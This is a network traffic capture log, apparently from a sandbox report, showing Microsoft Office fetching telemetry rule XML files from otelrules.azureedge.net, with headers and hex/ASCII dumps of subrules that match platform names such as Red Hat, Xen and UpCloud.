2024-11-19 21:07:01 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 21:07:01 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 21:07:01 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: 495def62-b01e-0098-458c-3acead000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T210701Z-1777c6cb754vxwc9hC1TEBykgw00000008h000000000r124 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 21:07:01 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.4	49802	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 21:07:01 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 21:07:02 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 21:07:01 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: 9cc78053-901e-008f-7b8c-3a67a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T210701Z-1777c6cb754dqf99hC1TEB5nps00000008g000000000a5fd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-19 21:07:02 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.4	49804	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 21:07:02 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 21:07:02 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 21:07:02 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: 41283c59-801e-0015-058c-3af97f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T210702Z-1777c6cb754xjpthhC1TEBexs800000008fg00000000b46z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 21:07:02 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.4	49803	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 21:07:02 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 21:07:02 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 21:07:02 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: bfe6dbcf-201e-006e-678c-3abbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T210702Z-1777c6cb754ww792hC1TEBzqu400000008d000000000nrty x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 21:07:02 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.4	49806	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 21:07:02 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 21:07:02 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 21:07:02 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: 5c5a59ff-301e-003f-5b8c-3a266f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T210702Z-r1d97b99577hsvhhhC1TEByb1w0000000270000000007c5h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 21:07:02 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.4	49805	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 21:07:02 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 21:07:02 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 21:07:02 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: 9cb1ed33-701e-0021-398c-3a3d45000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T210702Z-1777c6cb7542p5p4hC1TEBq09800000008g000000000uvtm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 21:07:02 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.4	49807	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 21:07:02 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 21:07:02 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 21:07:02 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: 4f8e9926-c01e-00ad-7c8c-3aa2b9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T210702Z-1777c6cb754xrr98hC1TEB3kag00000008f000000000cbc3 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 21:07:02 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.4	49810	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 21:07:02 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 21:07:02 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 21:07:02 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: d7880247-601e-0070-328c-3aa0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T210702Z-r1d97b99577tssmjhC1TEB8kan00000007t000000000c02n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-19 21:07:02 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.4	49808	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 21:07:02 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 21:07:02 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 21:07:02 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: 38897bff-401e-000a-368c-3a4a7b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T210702Z-1777c6cb7544n7p6hC1TEByvb400000008s000000000drv4 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 21:07:02 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.4	49809	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 21:07:02 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 21:07:02 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 21:07:02 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: cb785bac-301e-0000-6c8c-3aeecc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T210702Z-r1d97b99577ckpmjhC1TEBrzs000000007w000000000gvu3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 21:07:02 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.4	49811	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 21:07:02 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 21:07:02 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 21:07:02 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: 26217b89-b01e-001e-808c-3a0214000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T210702Z-1777c6cb754lvj6mhC1TEBke9400000008q000000000cznf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 21:07:02 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.4	49812	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 21:07:02 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 21:07:03 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 21:07:02 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: 5a5a0c5e-c01e-0079-588c-3ae51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T210702Z-1777c6cb754vxwc9hC1TEBykgw00000008hg00000000ph07 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 21:07:03 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.4	49813	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
